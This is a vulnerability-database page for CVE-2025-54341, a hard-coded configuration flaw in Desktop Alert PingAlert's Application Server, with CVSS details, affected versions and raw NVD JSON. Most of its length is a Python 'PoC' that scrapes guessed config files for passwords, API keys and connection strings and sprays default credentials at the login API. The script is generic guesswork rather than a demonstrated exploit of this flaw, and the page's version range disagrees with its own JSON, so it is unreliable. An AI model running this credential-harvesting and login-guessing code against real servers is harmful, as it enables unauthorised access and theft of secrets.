Security Vulnerability Report
中文
CVE-2025-54341 CVSS 5.3 MEDIUM

CVE-2025-54341

Published: 2025-11-24 22:15:49
Last Modified: 2025-12-05 20:28:31

Description

A vulnerability was found in the Application Server of Desktop Alert PingAlert version 6.1.0.11 to 6.1.1.2. There are Hard-coded configuration values.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:desktopalert:pingalert_application_server:*:*:*:*:*:*:*:* - VULNERABLE
Desktop Alert PingAlert 6.1.0.11
Desktop Alert PingAlert 6.1.0.12
Desktop Alert PingAlert 6.1.0.13
Desktop Alert PingAlert 6.1.0.14
Desktop Alert PingAlert 6.1.1.0
Desktop Alert PingAlert 6.1.1.1
Desktop Alert PingAlert 6.1.1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-54341 PoC - Hard-coded Configuration Extraction # Target: Desktop Alert PingAlert 6.1.0.11 - 6.1.1.2 import requests import re import sys from bs4 import BeautifulSoup def extract_hardcoded_configs(target_url): """ Extract hard-coded configuration values from Desktop Alert PingAlert """ configs = {} # Method 1: Check for exposed configuration files config_paths = [ '/config.xml', '/appsettings.json', '/connectionstrings.config', '/PingAlert.exe.config', '/settings.ini' ] for path in config_paths: try: response = requests.get(target_url + path, timeout=10) if response.status_code == 200: # Look for hard-coded credentials and connection strings patterns = { 'password': r'(?i)(password|pwd|pass)=["\']([^"\']+)["\']', 'connection_string': r'(?i)(connectionstring|connstr|datasource)=["\']([^"\']+)["\']', 'api_key': r'(?i)(apikey|api_key|secretkey)=["\']([^"\']+)["\']', 'encryption_key': r'(?i)(encryptionkey|enckey|key)=["\']([^"\']{16,})["\']' } for config_type, pattern in patterns.items(): matches = re.findall(pattern, response.text) if matches: configs[path] = configs.get(path, {}) configs[path][config_type] = matches except Exception as e: print(f"Error accessing {path}: {e}") return configs def check_default_credentials(target_url): """ Test for default/hard-coded credentials """ default_creds = [ {'username': 'admin', 'password': 'admin'}, {'username': 'admin', 'password': 'password123'}, {'username': 'admin', 'password': 'PingAlert'}, {'username': 'system', 'password': 'system'}, {'username': 'sa', 'password': ''} ] results = [] for creds in default_creds: try: response = requests.post( target_url + '/api/login', json=creds, timeout=10 ) if response.status_code == 200: results.append({ 'credentials': creds, 'status': 'VALID' }) except: pass return results if __name__ == '__main__': if len(sys.argv) > 1: target = sys.argv[1] print(f"[*] Scanning {target} for CVE-2025-54341...") print("\n[1] Extracting hard-coded configurations...") configs = extract_hardcoded_configs(target) print("\n[2] Testing default credentials...") creds_results = check_default_credentials(target) print("\n[+] Results:") print(f"Configs found: {len(configs)}") print(f"Default creds valid: {len(creds_results)}") else: print("Usage: python cve_2025_54341_poc.py <target_url>")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-54341", "sourceIdentifier": "[email protected]", "published": "2025-11-24T22:15:49.147", "lastModified": "2025-12-05T20:28:31.483", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was found in the Application Server of Desktop Alert PingAlert version 6.1.0.11 to 6.1.1.2. There are Hard-coded configuration values."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-798"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:desktopalert:pingalert_application_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.1.0.11", "versionEndExcluding": "6.1.1.6", "matchCriteriaId": "3E233390-7D3C-4DAD-9947-030770EDAC05"}]}]}], "references": [{"url": "https://desktopalert.net/cve-2025-54341/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}